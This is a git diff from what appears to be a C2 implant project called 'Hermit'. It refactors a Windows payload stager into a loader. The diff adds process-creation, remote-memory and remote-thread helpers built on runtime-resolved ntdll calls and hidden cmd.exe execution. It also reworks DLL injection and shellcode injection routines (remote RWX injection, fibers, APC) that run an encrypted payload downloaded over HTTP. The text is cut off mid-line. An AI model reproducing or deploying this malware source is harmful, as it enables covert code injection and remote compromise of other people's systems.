file diff --git a/payload/win/stager/src/core/system/http.cpp b/payload/win/loader/src/core/system/http.cpp similarity index 91% rename from payload/win/stager/src/core/system/http.cpp rename to payload/win/loader/src/core/system/http.cpp index e30f22e..68e4636 100644 --- a/payload/win/stager/src/core/system/http.cpp +++ b/payload/win/loader/src/core/system/http.cpp @@ -136,7 +136,7 @@ namespace System::Http } else { - ZeroMemory(tempBuffer, dwSize+1); + pProcs->lpRtlZeroMemory(tempBuffer, dwSize+1); if (pProcs->lpWinHttpReadData(hRequest, (LPVOID)tempBuffer, dwSize, &dwDownloaded)) { // Add to buffer; @@ -180,7 +180,7 @@ namespace System::Http } // Read the data - ZeroMemory(pszOutBuffer, dwSize+1); + pProcs->lpRtlZeroMemory(pszOutBuffer, dwSize+1); if (!pProcs->lpWinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwRead)) { break; @@ -230,21 +230,6 @@ namespace System::Http return FALSE; } - // std::ofstream outFile(sFile, std::ios::binary); - HANDLE hFile = CreateFileW( - wDest.c_str(), - GENERIC_WRITE, - 0, - NULL, - CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - if (hFile == INVALID_HANDLE_VALUE) - { - return FALSE; - } - // Read file std::wstring wEnc = ReadResponseText(pProcs, resp.hRequest); if (wEnc.length() == 0) @@ -256,16 +241,14 @@ namespace System::Http std::vector decBytes = Crypt::Decrypt(wEnc, pCrypt->pAES->hKey, pCrypt->pAES->iv); // Write data to file - DWORD dwWritten; - if (!WriteFile(hFile, decBytes.data(), decBytes.size(), &dwWritten, NULL)) - { - CloseHandle(hFile); + if (!System::Fs::WriteBytesToFile( + pProcs, + wDest, + decBytes + )) { return FALSE; } - // outFile.close(); - CloseHandle(hFile); - return TRUE; } diff --git a/payload/win/loader/src/core/system/process.cpp b/payload/win/loader/src/core/system/process.cpp new file mode 100644 index 0000000..6223d34 --- /dev/null +++ b/payload/win/loader/src/core/system/process.cpp @@ -0,0 +1,336 @@ +#include "core/system.hpp" + +namespace System::Process +{ + HANDLE ProcessCreate( + Procs::PPROCS pProcs, + LPCWSTR lpApplicationName, + DWORD dwDesiredAccess, + HANDLE hParentProcess + ) { + NTSTATUS status; + HANDLE hProcess; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniAppName; + + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + RtlInitUnicodeString(&uniAppName, lpApplicationName); + + // Create a new process. + status = pProcs->lpNtCreateProcess( + &hProcess, + dwDesiredAccess, + &objAttr, + hParentProcess, + FALSE, + NULL, + NULL, + NULL + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hProcess; + } + + DWORD GetProcessIdByName(LPCWSTR lpProcessName) + { + DWORD pid = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + if (Process32First(hSnapshot, &pe32)) + { + do + { + if (lstrcmpi(pe32.szExeFile, lpProcessName) == 0) + { + pid = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe32)); + + } + CloseHandle(hSnapshot); + } + + return pid; + } + + HANDLE ProcessOpen( + Procs::PPROCS pProcs, + DWORD dwProcessID, + DWORD dwDesiredAccess + ) { + HANDLE hProcess; + CLIENT_ID clientId; + clientId.UniqueProcess = reinterpret_cast(dwProcessID); + clientId.UniqueThread = nullptr; + static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; + + pProcs->lpNtOpenProcess( + &hProcess, + dwDesiredAccess, + &oa, + &clientId + ); + return hProcess; + } + + BOOL ProcessTerminate( + Procs::PPROCS pProcs, + HANDLE hProcess, + NTSTATUS ntStatus + ) { + NTSTATUS status = pProcs->lpNtTerminateProcess(hProcess, ntStatus); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + PVOID VirtualMemoryAllocate( + Procs::PPROCS pProcs, + HANDLE hProcess, + DWORD dwSize, + DWORD dwAllocationType, + DWORD dwProtect + ) { + PVOID baseAddr; + + pProcs->lpNtAllocateVirtualMemory( + hProcess, + &baseAddr, + 0, + (PSIZE_T)&dwSize, + dwAllocationType, + dwProtect + ); + + return baseAddr; + } + + BOOL VirtualMemoryFree( + Procs::PPROCS pProcs, + HANDLE hProcess, + PVOID* lpBaseAddr, + SIZE_T dwSize, + DWORD dwFreeType + ) { + NTSTATUS status = pProcs->lpNtFreeVirtualMemory( + hProcess, + lpBaseAddr, + &dwSize, + dwFreeType + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + BOOL VirtualMemoryWrite( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPVOID lpBaseAddr, + LPVOID lpBuffer, + DWORD dwBufferSize, + PDWORD lpNumberOfBytesWritten + ) { + NTSTATUS status = pProcs->lpNtWriteVirtualMemory( + hProcess, + lpBaseAddr, + (PVOID)lpBuffer, + dwBufferSize, + (PSIZE_T)lpNumberOfBytesWritten + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + HANDLE RemoteThreadCreate( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPTHREAD_START_ROUTINE lpThreadStartRoutineAddr, + PVOID pArgument + ) { + HANDLE hThread; + static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; + + NTSTATUS status = pProcs->lpNtCreateThreadEx( + &hThread, + THREAD_ALL_ACCESS, + NULL, + hProcess, + (PVOID)lpThreadStartRoutineAddr, + pArgument, + 0, + 0, + 0, + 0, + NULL + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hThread; + } + + std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd) + { + std::wstring result; + + SECURITY_ATTRIBUTES sa; + STARTUPINFOW si; + PROCESS_INFORMATION pi; + HANDLE hReadPipe = NULL; + HANDLE hWritePipe = NULL; + NTSTATUS status; + + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + + if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) + { + return L""; + } + + if (!SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) + { + return L""; + } + + pProcs->lpRtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + pProcs->lpRtlZeroMemory(&si, sizeof(STARTUPINFOW)); + + si.cb = sizeof(STARTUPINFOW); + si.hStdError = hWritePipe; + si.hStdOutput = hWritePipe; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + si.wShowWindow = SW_HIDE; + + // Set application name (full path) + WCHAR system32Path[MAX_PATH]; + GetSystemDirectoryW(system32Path, MAX_PATH); + std::wstring wSystem32Path = std::wstring(system32Path); + const std::wstring wApplicationName = wSystem32Path + L"\\cmd.exe"; + // const std::wstring applicationName = wSystem32Path + L"\\WindowsPowerShell\\v1.0\powershell.exe"; + + // Set command + std::wstring commandLine = L"/C " + wCmd; + + if (!System::Process::ProcessCreate( + pProcs, + wApplicationName.c_str(), + 0, + GetCurrentProcess() + )) { + return L""; + } + + // bResults = CreateProcessW( + // applicationName.c_str(), + // &commandLine[0], + // NULL, + // NULL, + // TRUE, + // 0, + // NULL, + // NULL, + // &si, + // &pi + // ); + // if (!bResults) + // { + // return L""; + // } + + // Read stdout + IO_STATUS_BLOCK ioStatusBlock; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + + LARGE_INTEGER byteOffset; + byteOffset.QuadPart = 0; + + ULONG bytesRead = 0; + while (bytesRead < bufferSize) + { + status = pProcs->lpNtReadFile( + hReadPipe, + NULL, + NULL, + NULL, + &ioStatusBlock, + buffer.data() + bytesRead, + bufferSize - bytesRead, + &byteOffset, + NULL + ); + + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hWritePipe); + pProcs->lpNtClose(pi.hProcess); + pProcs->lpNtClose(pi.hThread); + pProcs->lpNtClose(hReadPipe); + return L""; + } + + bytesRead += ioStatusBlock.Information; + byteOffset.QuadPart += ioStatusBlock.Information; + + if (ioStatusBlock.Information < bufferSize - bytesRead) + { + break; + } + } + + result = Utils::Convert::UTF8Decode(std::string(buffer.begin(), buffer.end())); + + pProcs->lpNtClose(pi.hProcess); + pProcs->lpNtClose(pi.hThread); + pProcs->lpNtClose(hReadPipe); + + return result; + } + + BOOL ExecuteFile(Procs::PPROCS pProcs, const std::wstring& wFilePath) + { + // STARTUPINFO si; + // PROCESS_INFORMATION pi; + + // pProcs->lpRtlZeroMemory(&si, sizeof(si)); + // si.cb = sizeof(si); + // pProcs->lpRtlZeroMemory(&pi, sizeof(pi)); + + HANDLE hProcess = System::Process::ProcessCreate( + pProcs, + wFilePath.c_str(), + PROCESS_ALL_ACCESS, + GetCurrentProcess() + ); + if (!hProcess) + { + return FALSE; + } + + pProcs->lpNtWaitForSingleObject(hProcess, FALSE, NULL); + + pProcs->lpNtClose(hProcess); + // pProcs->lpNtClose(pi.hThread); + + return TRUE; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/technique/injection/dll_injection.cpp b/payload/win/loader/src/core/technique/injection/dll_injection.cpp similarity index 82% rename from payload/win/stager/src/core/technique/injection/dll_injection.cpp rename to payload/win/loader/src/core/technique/injection/dll_injection.cpp index 863619b..7f5fd57 100644 --- a/payload/win/stager/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/dll_injection.cpp @@ -14,40 +14,51 @@ typedef struct BASE_RELOCATION_ENTRY { namespace Technique::Injection { - BOOL DLLInjection(DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize) + BOOL DLLInjection(Procs::PPROCS pProcs, DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize) { HANDLE hProcess; HANDLE hThread; PVOID remoteBuffer; - BOOL bResults; - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); + hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); if (!hProcess) { return FALSE; } - - remoteBuffer = VirtualAllocEx( + + remoteBuffer = System::Process::VirtualMemoryAllocate( + pProcs, hProcess, - NULL, dwDllPathSize, - MEM_COMMIT, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (!remoteBuffer) { + pProcs->lpNtClose(hProcess); return FALSE; } - bResults = WriteProcessMemory( + if (!System::Process::VirtualMemoryWrite( + pProcs, hProcess, remoteBuffer, lpDllPath, dwDllPathSize, NULL - ); - if (!bResults) - { + )) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -57,34 +68,47 @@ namespace Technique::Injection ); if (!threadStartRoutineAddr) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - hThread = CreateRemoteThread( + hThread = System::Process::RemoteThreadCreate( + pProcs, hProcess, - NULL, - 0, threadStartRoutineAddr, - remoteBuffer, - 0, - NULL + remoteBuffer ); if (!hThread) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - WaitForSingleObject(hThread, INFINITE); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - CloseHandle(hProcess); - CloseHandle(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection - BOOL ReflectiveDLLInjection(LPCWSTR lpDllPath, size_t dwDllPathSize) + BOOL ReflectiveDLLInjection(Procs::PPROCS pProcs, LPCWSTR lpDllPath, size_t dwDllPathSize) { using LPPROC_DLLMAIN = BOOL(WINAPI*)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); diff --git a/payload/win/stager/src/core/technique/injection/shellcode_injection.cpp b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp similarity index 61% rename from payload/win/stager/src/core/technique/injection/shellcode_injection.cpp rename to payload/win/loader/src/core/technique/injection/shellcode_injection.cpp index 35cf155..3abc574 100644 --- a/payload/win/stager/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp @@ -2,72 +2,84 @@ namespace Technique::Injection { - BOOL ShellcodeInjection(DWORD dwPID, const std::vector& shellcode) + BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode) { HANDLE hProcess; HANDLE hThread; PVOID remoteBuffer; - BOOL bResults; - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); + hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); if (!hProcess) { return FALSE; } - remoteBuffer = VirtualAllocEx( + remoteBuffer = System::Process::VirtualMemoryAllocate( + pProcs, hProcess, - NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!remoteBuffer) { - CloseHandle(hProcess); + pProcs->lpNtClose(hProcess); return FALSE; } - if (!WriteProcessMemory( + if (!System::Process::VirtualMemoryWrite( + pProcs, hProcess, remoteBuffer, - shellcode.data(), + (LPVOID)shellcode.data(), shellcode.size(), NULL )) { - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - hThread = CreateRemoteThreadEx( + hThread = System::Process::RemoteThreadCreate( + pProcs, hProcess, - NULL, - 0, (LPTHREAD_START_ROUTINE)remoteBuffer, - NULL, - 0, - NULL, NULL ); if (!hThread) { - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - WaitForSingleObject(hThread, INFINITE); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - CloseHandle(hProcess); - CloseHandle(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber - BOOL ShellcodeExecutionViaFibers(const std::vector& shellcode) + BOOL ShellcodeExecutionViaFibers(Procs::PPROCS pProcs, const std::vector& shellcode) { // Convert the current thread into a fiber. PVOID mainFiber = ConvertThreadToFiber(NULL); @@ -88,7 +100,7 @@ namespace Technique::Injection // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert - BOOL ShellcodeExecutionViaAPCAndNtTestAlert(const std::vector& shellcode) + BOOL ShellcodeExecutionViaAPCAndNtTestAlert(Procs::PPROCS pProcs, const std::vector& shellcode) { using MY_NTSTATUS = NTSTATUS(NTAPI*)(); diff --git a/payload/win/stager/src/core/utils/convert.cpp b/payload/win/loader/src/core/utils/convert.cpp similarity index 100% rename from payload/win/stager/src/core/utils/convert.cpp rename to payload/win/loader/src/core/utils/convert.cpp diff --git a/payload/win/stager/src/hermit.cpp b/payload/win/loader/src/hermit.cpp similarity index 90% rename from payload/win/stager/src/hermit.cpp rename to payload/win/loader/src/hermit.cpp index ba61017..40eeea9 100644 --- a/payload/win/stager/src/hermit.cpp +++ b/payload/win/loader/src/hermit.cpp @@ -24,7 +24,7 @@ namespace Hermit // pState->pTeb = NtCurrentTeb(); pState->hNTDLL = hNTDLL; pState->hWinHTTPDLL = hWinHTTPDLL; - pState->pProcs = Procs::FindProcs(hNTDLL, hWinHTTPDLL); + pState->pProcs = Procs::FindProcs(hNTDLL, hWinHTTPDLL, FALSE); // pState->pSyscalls = Syscalls::FindSyscalls(hNTDLL); pState->lpPayloadType = PAYLOAD_TYPE_W; pState->lpPayloadTechnique = PAYLOAD_TECHNIQUE_W; @@ -92,11 +92,11 @@ namespace Hermit if (wcscmp(pState->lpPayloadTechnique, L"dll-injection") == 0) { dwPID = System::Process::GetProcessIdByName(pState->lpPayloadProcessToInject); - Technique::Injection::DLLInjection(dwPID, (LPVOID)dllPath.c_str(), dwDllPathSize); + Technique::Injection::DLLInjection(pState->pProcs, dwPID, (LPVOID)dllPath.c_str(), dwDllPathSize); } else if (wcscmp(pState->lpPayloadTechnique, L"reflective-dll-injection") == 0) { - Technique::Injection::ReflectiveDLLInjection(dllPath.c_str(), dwDllPathSize); + Technique::Injection::ReflectiveDLLInjection(pState->pProcs, dllPath.c_str(), dwDllPathSize); } State::Free(pState); @@ -138,7 +138,7 @@ namespace Hermit // Execute if (wcscmp(pState->lpPayloadTechnique, L"direct-execution") == 0) { - System::Process::ExecuteFile(execPath); + System::Process::ExecuteFile(pState->pProcs, execPath); } State::Free(pState); @@ -183,6 +183,8 @@ namespace Hermit return; } + Stdout::DisplayMessageBoxW(wEnc.c_str(), L"ShellcodeLoader wEnc"); + // Decrypt the data std::vector bytes = Crypt::Decrypt(wEnc, pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->iv); @@ -193,15 +195,15 @@ namespace Hermit if (wcscmp(pState->lpPayloadTechnique, L"shellcode-injection") == 0) { dwPID = System::Process::GetProcessIdByName(pState->lpPayloadProcessToInject); - Technique::Injection::ShellcodeInjection(dwPID, bytes); + Technique::Injection::ShellcodeInjection(pState->pProcs, dwPID, bytes); } else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-fibers") == 0) { - Technique::Injection::ShellcodeExecutionViaFibers(bytes); + Technique::Injection::ShellcodeExecutionViaFibers(pState->pProcs, bytes); } else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-apc-and-nttestalert") == 0) { - Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(bytes); + Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(pState->pProcs, bytes); } State::Free(pState); diff --git a/payload/win/stager/src/main/dll_loader_dll.cpp b/payload/win/loader/src/main/dll_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/dll_loader_dll.cpp rename to payload/win/loader/src/main/dll_loader_dll.cpp diff --git a/payload/win/stager/src/main/dll_loader_exe.cpp b/payload/win/loader/src/main/dll_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/dll_loader_exe.cpp rename to payload/win/loader/src/main/dll_loader_exe.cpp diff --git a/payload/win/stager/src/main/exec_loader_dll.cpp b/payload/win/loader/src/main/exec_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/exec_loader_dll.cpp rename to payload/win/loader/src/main/exec_loader_dll.cpp diff --git a/payload/win/stager/src/main/exec_loader_exe.cpp b/payload/win/loader/src/main/exec_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/exec_loader_exe.cpp rename to payload/win/loader/src/main/exec_loader_exe.cpp diff --git a/payload/win/stager/src/main/shellcode_loader_dll.cpp b/payload/win/loader/src/main/shellcode_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/shellcode_loader_dll.cpp rename to payload/win/loader/src/main/shellcode_loader_dll.cpp diff --git a/payload/win/stager/src/main/shellcode_loader_exe.cpp b/payload/win/loader/src/main/shellcode_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/shellcode_loader_exe.cpp rename to payload/win/loader/src/main/shellcode_loader_exe.cpp diff --git a/payload/win/stager/include/core/procs.hpp b/payload/win/stager/include/core/procs.hpp deleted file mode 100644 index e5a1dfd..0000000 --- a/payload/win/stager/include/core/procs.hpp +++ /dev/null @@ -1,44 +0,0 @@ -#ifndef HERMIT_CORE_PROCS_HPP -#define HERMIT_CORE_PROCS_HPP - -#include -#include -#include - -namespace Procs -{ - // WinHTTP Functions - typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); - typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); - typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); - typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); - typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); - typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); - typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved); - typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); - typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); - typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead); - typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet); - - struct PROCS - { - // WinHTTP - LPPROC_WINHTTPOPEN lpWinHttpOpen; - LPPROC_WINHTTPCONNECT lpWinHttpConnect; - LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest; - LPPROC_WINHTTPSETOPTION lpWinHttpSetOption; - LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest; - LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData; - LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse; - LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders; - LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable; - LPPROC_WINHTTPREADDATA lpWinHttpReadData; - LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle; - }; - - typedef PROCS* PPROCS; - - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL); -} - -#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/system.hpp b/payload/win/stager/include/core/system.hpp deleted file mode 100644 index 20d52bd..0000000 --- a/payload/win/stager/include/core/system.hpp +++ /dev/null @@ -1,93 +0,0 @@ -#ifndef HERMIT_CORE_SYSTEM_HPP -#define HERMIT_CORE_SYSTEM_HPP - -#include -#include -#include -#include -#include - -#include "core/crypt.hpp" -#include "core/procs.hpp" -#include "core/stdout.hpp" -#include "core/utils.hpp" - -namespace System::Arch -{ - std::wstring GetName(WORD wProcessorArchitecture); -} - -namespace System::Env -{ - std::wstring GetStrings(const std::wstring& envVar); -} - -namespace System::Http -{ - struct WinHttpHandlers { - HINTERNET hSession; - HINTERNET hConnect; - }; - - struct WinHttpResponse { - BOOL bResult; - HINTERNET hRequest; - DWORD dwStatusCode; - }; - - WinHttpHandlers InitRequest( - Procs::PPROCS pProcs, - LPCWSTR lpHost, - INTERNET_PORT nPort - ); - - WinHttpResponse SendRequest( - Procs::PPROCS pProcs, - HINTERNET hConnect, - LPCWSTR lpHost, - INTERNET_PORT nPort, - LPCWSTR lpPath, - LPCWSTR lpMethod, - LPCWSTR lpHeaders, - LPVOID lpData, - DWORD dwDataLength - ); - - std::vector ReadResponseBytes( - Procs::PPROCS pProcs, - HINTERNET hRequest - ); - - std::wstring ReadResponseText( - Procs::PPROCS pProcs, - HINTERNET hRequest - ); - - BOOL DownloadFile( - Procs::PPROCS pProcs, - Crypt::PCRYPT pCrypt, - HINTERNET hConnect, - LPCWSTR lpHost, - INTERNET_PORT nPort, - LPCWSTR lpPath, - LPCWSTR lpHeaders, - const std::wstring& wInfoJSON, - const std::wstring& wDest - ); - - VOID WinHttpCloseHandles( - Procs::PPROCS pProcs, - HINTERNET hSession, - HINTERNET hConnect, - HINTERNET hRequest - ); -} - -namespace System::Process -{ - DWORD GetProcessIdByName(LPCWSTR lpProcessName); - std::wstring ExecuteCmd(const std::wstring& cmd); - BOOL ExecuteFile(const std::wstring& filePath); -} - -#endif // HERMIT_CORE_SYSTEM_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/technique.hpp b/payload/win/stager/include/core/technique.hpp deleted file mode 100644 index b2774e8..0000000 --- a/payload/win/stager/include/core/technique.hpp +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef HERMIT_CORE_TECHNIQUE_HPP -#define HERMIT_CORE_TECHNIQUE_HPP - -#include -#include -#include - -#include "core/stdout.hpp" - -namespace Technique::Injection -{ - BOOL DLLInjection(DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize); - BOOL ReflectiveDLLInjection(LPCWSTR lpDllPath, size_t dwDllPathSize); - - BOOL ShellcodeInjection(DWORD dwPID, const std::vector& shellcode); - BOOL ShellcodeExecutionViaFibers(const std::vector& shellcode); - BOOL ShellcodeExecutionViaAPCAndNtTestAlert(const std::vector& shellcode); -} - -#endif // HERMIT_CORE_TECHNIQUE_HPP \ No newline at end of file diff --git a/payload/win/stager/src/core/procs.cpp b/payload/win/stager/src/core/procs.cpp deleted file mode 100644 index 8d5d9a3..0000000 --- a/payload/win/stager/src/core/procs.cpp +++ /dev/null @@ -1,24 +0,0 @@ -#include "core/procs.hpp" - -namespace Procs -{ - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL) - { - PPROCS pProcs = new PROCS; - - // WinHTTP - pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); - pProcs->lpWinHttpConnect = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpConnect")); - pProcs->lpWinHttpOpenRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpenRequest")); - pProcs->lpWinHttpSetOption = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSetOption")); - pProcs->lpWinHttpSendRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSendRequest")); - pProcs->lpWinHttpWriteData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpWriteData")); - pProcs->lpWinHttpReceiveResponse = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReceiveResponse")); - pProcs->lpWinHttpQueryHeaders = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryHeaders")); - pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryDataAvailable")); - pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); - pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); - - return pProcs; - } -} \ No newline at end of file diff --git a/payload/win/stager/src/core/system/process.cpp b/payload/win/stager/src/core/system/process.cpp deleted file mode 100644 index 63d5585..0000000 --- a/payload/win/stager/src/core/system/process.cpp +++ /dev/null @@ -1,146 +0,0 @@ -#include "core/system.hpp" - -namespace System::Process -{ - DWORD GetProcessIdByName(LPCWSTR lpProcessName) - { - DWORD pid = 0; - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot != INVALID_HANDLE_VALUE) { - PROCESSENTRY32 pe32; - pe32.dwSize = sizeof(PROCESSENTRY32); - if (Process32First(hSnapshot, &pe32)) - { - do - { - if (lstrcmpi(pe32.szExeFile, lpProcessName) == 0) - { - pid = pe32.th32ProcessID; - break; - } - } while (Process32Next(hSnapshot, &pe32)); - - } - CloseHandle(hSnapshot); - } - - return pid; - } - - std::wstring ExecuteCmd(const std::wstring& cmd) - { - std::wstring result; - - SECURITY_ATTRIBUTES sa; - STARTUPINFOW si; - PROCESS_INFORMATION pi; - HANDLE hReadPipe = NULL; - HANDLE hWritePipe = NULL; - BOOL bResults = FALSE; - - sa.nLength = sizeof(SECURITY_ATTRIBUTES); - sa.bInheritHandle = TRUE; - sa.lpSecurityDescriptor = NULL; - - if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) - { - Stdout::DisplayErrorMessageBoxW(L"CreatePipe Error"); - return L""; - } - - if (!SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) - { - Stdout::DisplayErrorMessageBoxW(L"SetHandleInformation Error"); - return L""; - } - - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); - ZeroMemory(&si, sizeof(STARTUPINFOW)); - - si.cb = sizeof(STARTUPINFOW); - si.hStdError = hWritePipe; - si.hStdOutput = hWritePipe; - si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; - si.wShowWindow = SW_HIDE; - - // Set application name (full path) - WCHAR system32Path[MAX_PATH]; - GetSystemDirectoryW(system32Path, MAX_PATH); - std::wstring 